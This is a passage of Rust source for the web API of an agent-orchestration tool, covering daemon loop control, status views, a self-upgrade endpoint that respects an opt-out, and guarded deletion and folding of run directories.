1693    free_bytes: Option<u64>,
1694    /// Everything the runs directory occupies, unreadable runs included.
1695    runs_bytes: u64,
1696    /// Everything the runs' worktrees occupy.
1697    worktrees_bytes: u64,
1698    /// The shared build cache's size, when the config names one.
1699    #[serde(skip_serializing_if = "Option::is_none")]
1700    cache_bytes: Option<u64>,
1701}
1702
1703impl DiskView {
1704    /// Measure the three directories and re-read the config's cache.
1705    fn of(ui: &Ui) -> Self {
1706        let cache_bytes = Config::discover(&ui.repo, None)
1707            .ok()
1708            .and_then(|(cfg, _)| cfg.cache_dir())
1709            .map(|dir| crate::disk::dir_size(&dir));
1710        Self {
1711            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1712            runs_bytes: crate::disk::dir_size(&ui.runs),
1713            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1714            cache_bytes,
1715        }
1716    }
1717}
1718
1719/// The daemon's state as the UI presents it.
1720#[derive(Debug, Serialize)]
1721struct DaemonView {
1722    running: bool,
1723    idle: Option<bool>,
1724    pid: Option<u32>,
1725    /// Every task and run currently in flight. Empty when idle; more than
1726    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1727    /// run going at once.
1728    current: Vec<daemon::Current>,
1729    completed: Option<u64>,
1730    stale_for_secs: Option<i64>,
1731}
1732
1733impl DaemonView {
1734    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1735    /// not this UI's — a crashed daemon must not look alive here while
1736    /// `doctor` calls it dead.
1737    fn of(status: Option<daemon::Reading>) -> Self {
1738        let Some(status) = status else {
1739            return Self {
1740                running: false,
1741                idle: None,
1742                pid: None,
1743                current: Vec::new(),
1744                completed: None,
1745                stale_for_secs: None,
1746            };
1747        };
1748        let now = Timestamp::now();
1749        let age = status.age_secs(now);
1750        Self {
1751            running: status.running(now),
1752            idle: Some(status.idle),
1753            pid: status.pid,
1754            current: status.current,
1755            completed: Some(status.completed),
1756            stale_for_secs: age,
1757        }
1758    }
1759}
1760
1761async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1762    blocking(move || {
1763        // One read of the status file for the two fields that describe it, so
1764        // `daemon` and `loop` in the same answer cannot disagree about who is
1765        // running the loop.
1766        let reading = daemon::read_status(&ui.home);
1767        // Read on its own line, not inside the literal below: the loop's lock
1768        // is not reentrant, and a guard taken as a temporary there would still
1769        // be held when `loop_view` took it again.
1770        let loop_rev = ui.lock_loop().rev;
1771        let update = cached_update_view(&ui.repo);
1772        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1773        Ok(Json(HealthView {
1774            version: env!("CARGO_PKG_VERSION"),
1775            home: ui.home.display().to_string(),
1776            queue_rev: ui.queue.revision(),
1777            runs_rev: runs_revision(&ui.runs),
1778            questions_rev: ui.questions.revision(),
1779            talks_rev: ui.talks.revision(),
1780            notifications_rev: ui.notices.revision(),
1781            notifications_unread: ui.notices.count_unread(),
1782            loop_rev,
1783            runs_unreadable: runs_unreadable(&ui.runs),
1784            questions_open: ui.questions.count_open(),
1785            questions_needs_owner: ui.questions.count_needs_owner(),
1786            daemon: DaemonView::of(reading.clone()),
1787            looping: ui.loop_view(reading),
1788            disk: DiskView::of(&ui),
1789            update,
1790            upgrade,
1791        }))
1792    })
1793    .await
1794}
1795
1796/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1797#[derive(Debug, Serialize)]
1798struct LoopView {
1799    /// A loop is running in *this* process.
1800    running: bool,
1801    /// It has been asked to stop and is still finishing a run.
1802    ///
1803    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1804    /// because the two differ exactly where it matters: a loop asked to stop
1805    /// while idle is gone within one poll interval, and one asked to stop
1806    /// mid-run keeps going for as long as the graph takes. The operator needs
1807    /// to be told which of those they are waiting for.
1808    stopping: bool,
1809    /// A park was asked for: the run in flight stops at its next node
1810    /// boundary rather than finishing.
1811    ///
1812    /// Separate from `stopping` because the two promise different waits. A
1813    /// stop is "when this competition ends", which can be an hour; a park is
1814    /// "after the step it is on", which is minutes and is what an operator
1815    /// waiting to replace the binary needs to see.
1816    parking: bool,
1817    /// The loop is this process's own.
1818    ///
1819    /// Spelled separately from `running` for the front end's sake, even
1820    /// though inside this process the two move together: `running: false`
1821    /// with `daemon.running: true` is the case where the operator's own `magi
1822    /// serve` owns the loop, and `owned` is the field that tells the UI its
1823    /// buttons have to explain that rather than pretend.
1824    owned: bool,
1825    /// Repository the loop uses for tasks that name none - what it was
1826    /// started with while it runs, and what a start would use before that.
1827    repo: String,
1828    /// Merge mode override in force, or `null` when each repository's own
1829    /// config decides.
1830    merge: Option<String>,
1831    /// Why the last loop in this process ended, when it ended badly.
1832    ///
1833    /// The only place a crashed loop is visible to someone holding a phone.
1834    /// It is logged at error level as well, but a terminal nobody kept open
1835    /// is not a report, and a loop that died at 3am must not read as merely
1836    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1837    /// answers the same question about the same kind of failure.
1838    last_error: Option<String>,
1839    /// The status file, judged the same way `/api/health` judges it: this is
1840    /// what says whether a loop is alive in some *other* process.
1841    daemon: DaemonView,
1842}
1843
1844/// A loop another process already owns.
1845///
1846/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1847/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1848/// published by a pid that is not ours. Excluding our own pid is what makes
1849/// stopping work at all - the loop this process runs writes that file too, so
1850/// a check that ignored the pid would decide the operator's own UI was a
1851/// stranger and refuse to stop the loop it had just started.
1852#[derive(Debug, Clone, Copy)]
1853struct Foreign {
1854    /// The pid the other process published, when it published one.
1855    pid: Option<u32>,
1856}
1857
1858impl Foreign {
1859    /// Another process's live loop, or `None` when this process is free to
1860    /// run one.
1861    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1862        let reading = reading?;
1863        if !reading.running(Timestamp::now()) {
1864            return None;
1865        }
1866        match reading.pid {
1867            Some(pid) if pid == std::process::id() => None,
1868            // A fresh heartbeat with no pid in it is still evidence of a live
1869            // daemon. "Some other process" is the honest answer, and refusing
1870            // to start beside it is the safe one.
1871            pid => Some(Self { pid }),
1872        }
1873    }
1874
1875    /// How a conflict names it. The pid is the whole point of the message: it
1876    /// is what the operator needs to find the terminal that owns the loop.
1877    fn who(&self) -> String {
1878        match self.pid {
1879            Some(pid) => format!("another magi process (pid {pid})"),
1880            None => "another magi process".to_owned(),
1881        }
1882    }
1883}
1884
1885/// How a loop is started, as a future this module can hold onto.
1886///
1887/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1888/// trait object or a hand-written `Debug` impl for the sake of one seam.
1889type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1890
1891/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1892fn launch_daemon(
1893    opts: daemon::Opts,
1894    stop: daemon::Stop,
1895) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1896    Box::pin(daemon::serve_until(opts, stop))
1897}
1898
1899/// The loop this process runs, behind one lock.
1900#[derive(Debug, Default)]
1901struct LoopState {
1902    /// The loop, while there is one.
1903    live: Option<Live>,
1904    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1905    ///
1906    /// The loop is in-process state rather than a file, so nothing on disk
1907    /// would tell a second phone that the first one started it. Without this
1908    /// counter the only way to learn about a start, a stop request or a crash
1909    /// would be to poll `/api/loop`, which is the thing the change stream
1910    /// exists to avoid on a mobile link.
1911    rev: u64,
1912    /// Why the last loop ended, when it ended badly. See
1913    /// [`LoopView::last_error`].
1914    last_error: Option<String>,
1915}
1916
1917/// A loop in flight.
1918#[derive(Debug)]
1919struct Live {
1920    /// The cooperative stop, shared with the loop task.
1921    stop: daemon::Stop,
1922    /// The task itself, kept only to answer whether it is still there: a loop
1923    /// that panicked never records its own end, and without this the view
1924    /// would go on reporting a loop that no longer exists - the one lie that
1925    /// would leave the operator with no button to press.
1926    handle: tokio::task::JoinHandle<()>,
1927    /// What the loop was started with, so the view reports the repository and
1928    /// merge mode its runs will actually use rather than what an edit to the
1929    /// config since would give.
1930    opts: daemon::Opts,
1931}
1932
1933impl Live {
1934    /// Is the task still there? See [`Live::handle`].
1935    fn alive(&self) -> bool {
1936        !self.handle.is_finished()
1937    }
1938}
1939
1940/// Take the loop lock, recovering from a poisoned one.
1941///
1942/// What this mutex holds is a stop flag, a task handle and two counters, none
1943/// of which a panic elsewhere can leave in a state worth refusing to read.
1944/// Propagating the poison instead would mean an operator who can see the loop
1945/// running and can no longer stop it from the only surface they have.
1946fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1947    state.lock().unwrap_or_else(PoisonError::into_inner)
1948}
1949
1950/// `GET /api/loop`.
1951async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1952    blocking(move || {
1953        let reading = daemon::read_status(&ui.home);
1954        Ok(Json(ui.loop_view(reading)))
1955    })
1956    .await
1957}
1958
1959/// The body of `POST /api/loop`.
1960///
1961/// One required field and nothing else: no `default` and no unknown fields,
1962/// so a body that fails to say which way the switch was flipped is a 400
1963/// rather than a tap that quietly does the opposite of what was pressed.
1964#[derive(Debug, Deserialize)]
1965#[serde(deny_unknown_fields)]
1966struct LoopCommand {
1967    running: bool,
1968    /// Stop the run in flight at its next node boundary rather than letting it
1969    /// finish.
1970    ///
1971    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1972    /// competition is tens of minutes of paid work and finishing it is
1973    /// normally the cheapest thing to do. A park is for the operator who
1974    /// wants the process gone now - to replace the binary, most of all - and
1975    /// it costs at most the node in progress because every node writes its
1976    /// state before the next one starts.
1977    #[serde(default)]
1978    park: bool,
1979}
1980
1981/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1982///
1983/// Answers with the view rather than waiting for the loop to reach the state
1984/// that was asked for. Starting is immediate anyway; stopping is not, and the
1985/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1986/// request open for. `stopping` in the answer is what the operator watches
1987/// instead.
1988async fn loop_post(
1989    State(ui): State<Arc<Ui>>,
1990    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1991) -> ApiResult<Json<LoopView>> {
1992    // Taken as a `Result` so a malformed body is a 400 like every other route
1993    // here, rather than axum's default 422 that the UI has no branch for.
1994    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1995    blocking(move || {
1996        let reading = daemon::read_status(&ui.home);
1997        let foreign = Foreign::of(reading.as_ref());
1998        if body.running {
1999            ui.start_loop(foreign)?;
2000        } else {
2001            ui.stop_loop(foreign, body.park)?;
2002        }
2003        Ok(Json(ui.loop_view(reading)))
2004    })
2005    .await
2006}
2007
2008/// What `POST /api/upgrade` set in motion.
2009#[derive(Debug, Serialize)]
2010struct UpgradeView {
2011    /// The version this process is running.
2012    from: String,
2013    /// The release it is replacing itself with, when there is one.
2014    to: Option<String>,
2015    /// A run was parked first, and this is its id.
2016    parked: Option<String>,
2017    /// What the operator should expect to happen next.
2018    detail: String,
2019}
2020
2021/// `POST /api/upgrade` - replace this binary with the newest release and come
2022/// back on it.
2023///
2024/// The one thing the deck could not do for itself. Every fix landed today
2025/// either waited for a competition to end or went in with the deck stopped,
2026/// because `cargo install` cannot overwrite a running executable on Windows.
2027/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2028/// the new one in its place, so the swap itself needs no downtime. Only the
2029/// restart does, and the order is the whole design:
2030///
2031/// 1. **Park.** A run in flight stops at its next node boundary and stays
2032///    resumable, so this costs at most the node in progress rather than the
2033///    competition. Without it the honest choices were waiting an hour or
2034///    discarding paid agent work.
2035/// 2. **Replace.** The new binary goes into place while this one still runs.
2036/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2037///    successor - see [`spawn_successor`] for what happens in the other
2038///    order.
2039/// 4. **Resume.** The next loop carries the parked run on rather than
2040///    competing again; see `daemon::attempt`.
2041///
2042/// Answers **202**: the reply has to reach the phone while this process can
2043/// still send one, and the phone learns the deck is back by reconnecting.
2044async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2045    let reading = daemon::read_status(&ui.home);
2046    if let Some(other) = Foreign::of(reading.as_ref()) {
2047        return Err(ApiError::conflict(format!(
2048            "the loop belongs to {}, so replacing this binary would leave \
2049             that process running an old one against the same queue. Upgrade \
2050             where it was started.",
2051            other.who()
2052        )));
2053    }
2054
2055    // The same kill switch the background check honours (`disabled_by_env`),
2056    // checked before anything else for the same reason it is read before the
2057    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2058    // contact GitHub from this process", and a button press must not
2059    // override that any more than a broken `magi.toml` may.
2060    if crate::updater::disabled_by_env() {
2061        return Ok((
2062            StatusCode::OK,
2063            Json(UpgradeView {
2064                from: env!("CARGO_PKG_VERSION").to_owned(),
2065                to: None,
2066                parked: None,
2067                detail: format!(
2068                    "Automatic updates are disabled by {}. Nothing was parked \
2069                     and nothing restarted.",
2070                    crate::updater::NO_AUTOUPDATE_ENV
2071                ),
2072            }),
2073        ));
2074    }
2075
2076    // Asked before anything is disturbed. Restarting when there is nothing
2077    // to install is not a harmless no-op: it parks the run in flight and
2078    // drops every connection to pay for an upgrade that did not happen. A
2079    // probe against a deck already on the newest build did exactly that.
2080    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2081    let from = env!("CARGO_PKG_VERSION").to_owned();
2082    let latest = match crate::updater::Checker::new(&cfg.update) {
2083        Some(checker) => checker
2084            .newer_release()
2085            .await
2086            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2087        None => None,
2088    };
2089    let Some(latest) = latest else {
2090        return Ok((
2091            StatusCode::OK,
2092            Json(UpgradeView {
2093                from,
2094                to: None,
2095                parked: None,
2096                detail: "Already on the newest release. Nothing was parked \
2097                         and nothing restarted."
2098                    .to_owned(),
2099            }),
2100        ));
2101    };
2102
2103    // Parked before anything is replaced: a successor that came up while a
2104    // run was mid-node would find a run nobody is driving.
2105    let parked = ui.park_for_upgrade()?;
2106    let detail = match &parked {
2107        // Honest about the wait. A park takes effect at the *next* node
2108        // boundary, so a run mid-implement finishes that wave first - up to
2109        // `timeout_implement`, an hour by default. Saying "restarting now"
2110        // would make the deck look wedged for the rest of it.
2111        Some(run) => format!(
2112            "Run {} is parking at its next step, which can take as long as \
2113             the step it is on - up to an hour for an implement wave. The \
2114             deck replaces itself once it parks, comes back, and the loop \
2115             carries that run on from where it stopped. Nothing is lost if \
2116             you close this.",
2117            crate::run::short_of(run)
2118        ),
2119        None => "The deck replaces itself and comes back. Nothing was in \
2120                 flight to park."
2121            .to_owned(),
2122    };
2123
2124    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2125    // poll must see a `Downloading` stage immediately, not whenever the
2126    // spawned task happens to get scheduled.
2127    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2128    progress.parked_run = parked.clone();
2129    let _ = updater::write_progress(&ui.home, &progress);
2130
2131    let home = ui.home.clone();
2132    tokio::spawn(async move {
2133        if let Err(e) = upgrade_and_restart(home.clone()).await {
2134            tracing::error!("the upgrade did not complete: {e:#}");
2135            if let Some(mut progress) = updater::read_progress(&home) {
2136                progress.fail(format!("{e:#}"));
2137                let _ = updater::write_progress(&home, &progress);
2138            }
2139        }
2140    });
2141
2142    Ok((
2143        StatusCode::ACCEPTED,
2144        Json(UpgradeView {
2145            from,
2146            to: Some(latest.tag_name),
2147            parked,
2148            detail,
2149        }),
2150    ))
2151}
2152
2153/// Replace the binary, then ask [`serve`] to hand the address over.
2154///
2155/// Separated from the handler so the 202 is already on its way, and separated
2156/// from the spawn so the successor starts only after the listener is dropped.
2157async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2158    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2159    // hang the upgrade for as long as the process lives.
2160    crate::updater::run_self_update(true, false, true).await?;
2161    tracing::info!("binary replaced - asking the server to hand over");
2162    if let Some(mut progress) = updater::read_progress(&home) {
2163        progress.advance(updater::Stage::Replaced);
2164        let _ = updater::write_progress(&home, &progress);
2165    }
2166    HANDOVER.notify_one();
2167    Ok(())
2168}
2169
2170/// One row in the run list.
2171///
2172/// The list route returns this rather than whole `RunState`s: the summary of a
2173/// run is a few hundred bytes and the state is megabytes, and the difference
2174/// is what makes the history usable on a mobile link.
2175#[derive(Debug, Serialize)]
2176struct RunSummary {
2177    id: String,
2178    short: String,
2179    status: String,
2180    done: bool,
2181    instruction: String,
2182    title: String,
2183    repo: String,
2184    repo_name: String,
2185    created_at: String,
2186    updated_at: String,
2187    candidates: usize,
2188    viable: usize,
2189    judges: usize,
2190    winner: Option<char>,
2191    reviews: usize,
2192    quota_losses: usize,
2193    event: Option<String>,
2194    /// The later attempt at the same task that replaced this one, if any.
2195    ///
2196    /// Two cards with one title is otherwise unreadable: this is what lets
2197    /// the deck say "superseded by 4043" on the older of the pair.
2198    superseded_by: Option<String>,
2199    /// Blocked on a question nobody has answered.
2200    ///
2201    /// Derived from the question store rather than stored on the run: an agent
2202    /// calling `magi ask` blocks mid-node, and writing a status from there
2203    /// would race the graph's own save of `run.json` and be overwritten at the
2204    /// next node boundary. Asking the store is always true and never races.
2205    waiting: bool,
2206    /// Whether the process recorded as driving this run can still be proven
2207    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2208    /// rather than presenting its last graph node as still in flight.
2209    live: crate::run::Liveness,
2210    /// The land loop's last look at the pull request, when there is one.
2211    pr: Option<crate::run::PrRecord>,
2212    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2213    /// design — never picked up by the PR-polling merge watcher, unlike an
2214    /// ordinary `Ready` that may still be a live landing candidate. See
2215    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2216    /// re-deriving the same check from `status` and `merge.mode` itself.
2217    unmerged_by_design: bool,
2218}
2219
2220impl RunSummary {
2221    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2222        Self {
2223            id: state.id.clone(),
2224            short: state.short().to_owned(),
2225            status: status_word(state.status),
2226            done: state.status.done(),
2227            unmerged_by_design: state.unmerged_by_design(),
2228            instruction: state.instruction.clone(),
2229            title: title_from(&state.instruction, TITLE_MAX),
2230            repo: state.repo.display().to_string(),
2231            repo_name: state
2232                .repo
2233                .file_name()
2234                .map(|n| n.to_string_lossy().into_owned())
2235                .unwrap_or_default(),
2236            created_at: state.created_at.to_string(),
2237            updated_at: state.updated_at.to_string(),
2238            candidates: state.candidates.len(),
2239            viable: state.viable().len(),
2240            judges: state.config.graph.judges,
2241            winner: state.winner().map(|c| c.label),
2242            reviews: state.reviews.len(),
2243            quota_losses: state.quota.len(),
2244            event: state.events.last().map(|e| e.message.clone()),
2245            waiting,
2246            live,
2247            // Filled in by the list route, which is the only place that can
2248            // see a task's other attempts.
2249            superseded_by: None,
2250            pr: state.pr.clone(),
2251        }
2252    }
2253}
2254
2255/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2256/// the same string `serde` writes for the status inside a full run.
2257fn status_word(status: RunStatus) -> String {
2258    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2259    // was a third way of naming the same statuses, and one that changed
2260    // silently with a derive.
2261    status.as_str().to_owned()
2262}
2263
2264/// `?limit=`, clamped by the handler.
2265#[derive(Debug, Deserialize)]
2266struct ListQuery {
2267    #[serde(default)]
2268    limit: Option<usize>,
2269}
2270
2271async fn runs_list(
2272    State(ui): State<Arc<Ui>>,
2273    Query(q): Query<ListQuery>,
2274) -> ApiResult<Json<Vec<RunSummary>>> {
2275    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2276    blocking(move || {
2277        let superseded = superseded_runs(&ui.queue);
2278        // Everything the per-run rows share is read once here. Asking per run
2279        // re-read every question file and the daemon status file for each of
2280        // hundreds of runs, and spawned a process probe per run on Windows.
2281        let open_runs: HashSet<String> = ui
2282            .questions
2283            .list()
2284            .into_iter()
2285            .filter(|q| q.status.open())
2286            .map(|q| q.run)
2287            .collect();
2288        let claimed: HashSet<String> =
2289            crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2290                .into_iter()
2291                .map(|c| c.run)
2292                .collect();
2293        let states = run_ids(&ui.runs)
2294            .into_iter()
2295            // A run whose state cannot be read is skipped, not fatal: a run
2296            // killed mid-write must not blank the history of every other one.
2297            // The detail route still explains it, which is where an operator
2298            // asking "what happened to that run" ends up.
2299            .filter_map(|id| read_run(&ui.runs, &id).ok())
2300            .take(limit);
2301        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2302        let summaries = summarize(
2303            states,
2304            &open_runs,
2305            &claimed,
2306            &superseded,
2307            |p| probe.borrow_mut().status(p),
2308            |p| probe.borrow_mut().started_at(p),
2309        );
2310        Ok(Json(summaries))
2311    })
2312    .await
2313}
2314
2315/// The rows of the run list, given everything that is shared between them.
2316///
2317/// Pure over its inputs so a test can count how often the process queries are
2318/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2319/// takes, called at most once per run.
2320fn summarize<I, S, D>(
2321    states: I,
2322    open_runs: &HashSet<String>,
2323    claimed: &HashSet<String>,
2324    superseded: &HashMap<String, String>,
2325    mut status_q: S,
2326    mut identity_q: D,
2327) -> Vec<RunSummary>
2328where
2329    I: IntoIterator<Item = RunState>,
2330    S: FnMut(u32) -> Option<bool>,
2331    D: FnMut(u32) -> Option<String>,
2332{
2333    states
2334        .into_iter()
2335        .map(|state| {
2336            let waiting = open_runs.contains(&state.id);
2337            let live =
2338                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2339            let mut row = RunSummary::of(&state, waiting, live);
2340            row.superseded_by = superseded
2341                .get(&state.id)
2342                .map(String::as_str)
2343                .map(crate::run::short_of)
2344                .map(str::to_owned);
2345            row
2346        })
2347        .collect()
2348}
2349
2350/// Runs that a later attempt at the same task replaced, mapped to the id of
2351/// the attempt that replaced them.
2352///
2353/// A task keeps its attempts in order, and the deck showed them as two cards
2354/// with the same title and no hint which was which: yukimemi asked why
2355/// `stalled` and `blocked` appeared twice for one task, and the answer -
2356/// "those are two tries, and the second one exists because of a bug since
2357/// fixed" - was not on the screen anywhere.
2358///
2359/// Read from the queue rather than stored on the run, because the ordering is
2360/// the queue's fact: a `RunState` has no idea another attempt happened after
2361/// it.
2362fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2363    let mut by = HashMap::new();
2364    for task in queue.list() {
2365        for pair in task.runs.windows(2) {
2366            if let [earlier, later] = pair {
2367                by.insert(earlier.clone(), later.clone());
2368            }
2369        }
2370    }
2371    by
2372}
2373
2374/// A run as the detail route hands it to the phone.
2375///
2376/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2377/// the instruction as markdown, and the raw `instruction` field this struct
2378/// still carries (unchanged) is what a client wanting the exact bytes reads
2379/// instead.
2380#[derive(Debug, Serialize)]
2381struct RunDetailView {
2382    #[serde(flatten)]
2383    state: RunState,
2384    instruction_md: Vec<md::Node>,
2385    /// Whether a process is actually still driving this run: `"live"`,
2386    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2387    ///
2388    /// `state.active` (flattened in above) is only ever cleared by the
2389    /// process that populated it; a killed one leaves its last wave's
2390    /// entries behind. Carrying this alongside is what lets the phone rail
2391    /// tell "this seat is still answering" from "this seat was still
2392    /// answering when whatever was driving this run died" without a second
2393    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2394    /// proof of either. A string rather than a bool on purpose: a daemon
2395    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2396    /// and neither proven is `"unknown"` — folding that third case into
2397    /// either end of a bool is exactly the wrong call for a phone screen an
2398    /// operator uses to decide whether to wait or to act.
2399    live: crate::run::Liveness,
2400    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2401    /// alongside the flattened `state` rather than inside it, since
2402    /// `RunState` has no business knowing which of its own methods a caller
2403    /// wants serialized.
2404    unmerged_by_design: bool,
2405}
2406
2407impl RunDetailView {
2408    fn of(state: RunState, live: crate::run::Liveness) -> Self {
2409        Self {
2410            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2411            live,
2412            unmerged_by_design: state.unmerged_by_design(),
2413            state,
2414        }
2415    }
2416}
2417
2418async fn run_detail(
2419    State(ui): State<Arc<Ui>>,
2420    Path(id): Path<String>,
2421) -> ApiResult<Json<RunDetailView>> {
2422    blocking(move || {
2423        let id = resolve_run(&ui.runs, &id)?;
2424        let state = read_run(&ui.runs, &id)?;
2425        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2426        let live = state.liveness(daemon_claims);
2427        Ok(Json(RunDetailView::of(state, live)))
2428    })
2429    .await
2430}
2431
2432/// `DELETE /api/runs/{id}`.
2433///
2434/// Remove a finished, folded run directory along with its artifacts.
2435/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2436/// deleted. This never touches git worktrees or branches - except for a run
2437/// whose state this build cannot read at all, where there is no candidate
2438/// list to check and the wholesale removal `magi fold` already uses for that
2439/// case is the only meaningful "delete".
2440async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2441    let (id, unreadable) = {
2442        let ui = Arc::clone(&ui);
2443        blocking(move || {
2444            let id = resolve_run(&ui.runs, &id)?;
2445            match read_run(&ui.runs, &id) {
2446                Ok(state) => {
2447                    let in_flight =
2448                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2449                    state
2450                        .ensure_can_delete(in_flight)
2451                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2452                    let dir = ui.runs.join(&id);
2453                    std::fs::remove_dir_all(&dir)
2454                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2455                    Ok((id, false))
2456                }
2457                Err(_) => {
2458                    // Unreadable: there is no candidate list to guard on, so
2459                    // a live daemon's claim is the only thing left to check -
2460                    // the same rule `run_fold` applies for the same reason.
2461                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2462                        return Err(ApiError::conflict(format!(
2463                            "run {id} is being worked on by a live daemon right now"
2464                        )));
2465                    }
2466                    Ok((id, true))
2467                }
2468            }
2469        })
2470        .await?
2471    };
2472    if unreadable {
2473        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2474            .await
2475            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2476    }
2477    let ui = Arc::clone(&ui);
2478    let done = id.clone();
2479    blocking(move || {
2480        // The agent that asked died with the run, so an open question would
2481        // keep asking the operator for a decision nobody can deliver.
2482        ui.questions.abandon_for_run(
2483            &done,
2484            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2485        )?;
2486        Ok(())
2487    })
2488    .await?;
2489    Ok(StatusCode::NO_CONTENT)
2490}
2491
2492/// `POST /api/runs/{id}/fold`.
2493///
2494/// Remove a run's candidate worktrees and branches, keeping its record.
2495///
2496/// This exists because the deck answered "delete this run" with *"Candidates
2497/// must be folded before deleting. Run `magi fold` first."* — a phone being
2498/// told to open a terminal, in the one product whose point is that it does
2499/// not need one. The runs an operator most wants gone are the stalled and
2500/// blocked ones, and those are exactly the runs still holding worktrees:
2501/// three of them here held 53 GB.
2502///
2503/// The winner's tree goes too. A fold is what someone asks for when they are
2504/// finished with a run, and leaving one tree behind would leave the delete
2505/// button disabled for the same reason as before.
2506///
2507/// Refused while a live daemon is working on the run, on the rule that guards
2508/// deletion: folding underneath a running agent would pull the tree it is
2509/// editing out from under it.
2510///
2511/// A run whose state this build cannot read at all falls back to
2512/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2513/// selectively, so the whole record's worktree goes wholesale, exactly what
2514/// `magi fold` does on the command line for the same run.
2515async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2516    let (id, state) = {
2517        let ui = Arc::clone(&ui);
2518        blocking(move || {
2519            let id = resolve_run(&ui.runs, &id)?;
2520            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2521                return Err(ApiError::conflict(format!(
2522                    "run {id} is being worked on by a live daemon right now"
2523                )));
2524            }
2525            let state = read_run(&ui.runs, &id).ok();
2526            Ok((id, state))
2527        })
2528        .await?
2529    };
2530    let removed = match state {
2531        Some(mut state) => {
2532            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2533                .await
2534                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2535            // Nothing left to remove is not the same thing as nothing left to
2536            // do — see `clean::clear_abandoned_active`'s own doc for the run
2537            // this exists for: worktrees already gone, but a killed process
2538            // left active seats nobody will ever answer for.
2539            if removed.is_empty() {
2540                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2541                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2542            }
2543            removed
2544        }
2545        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2546            .await
2547            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2548    };
2549    Ok(Json(FoldView {
2550        run: id,
2551        removed_count: removed.len(),
2552        removed,
2553    }))
2554}
2555
2556/// What a fold took away, so the deck can say so rather than only re-render.
2557#[derive(Debug, Serialize)]
2558struct FoldView {
2559    run: String,
2560    /// Worktree paths and branch names removed, in the order they went.
2561    removed: Vec<String>,
2562    removed_count: usize,
2563}
2564
2565/// `POST /api/runs/{id}/resume`.
2566///
2567/// Carry a stalled run on from where it stopped, in the background.
2568///
2569/// A stalled card says "the work is kept" and used to offer no way to act on
2570/// that: the candidates are built and paid for, and continuing means re-asking
2571/// only the seats whose absence collapsed the panel. The alternative an
2572/// operator actually had was releasing the task, which competes three fresh
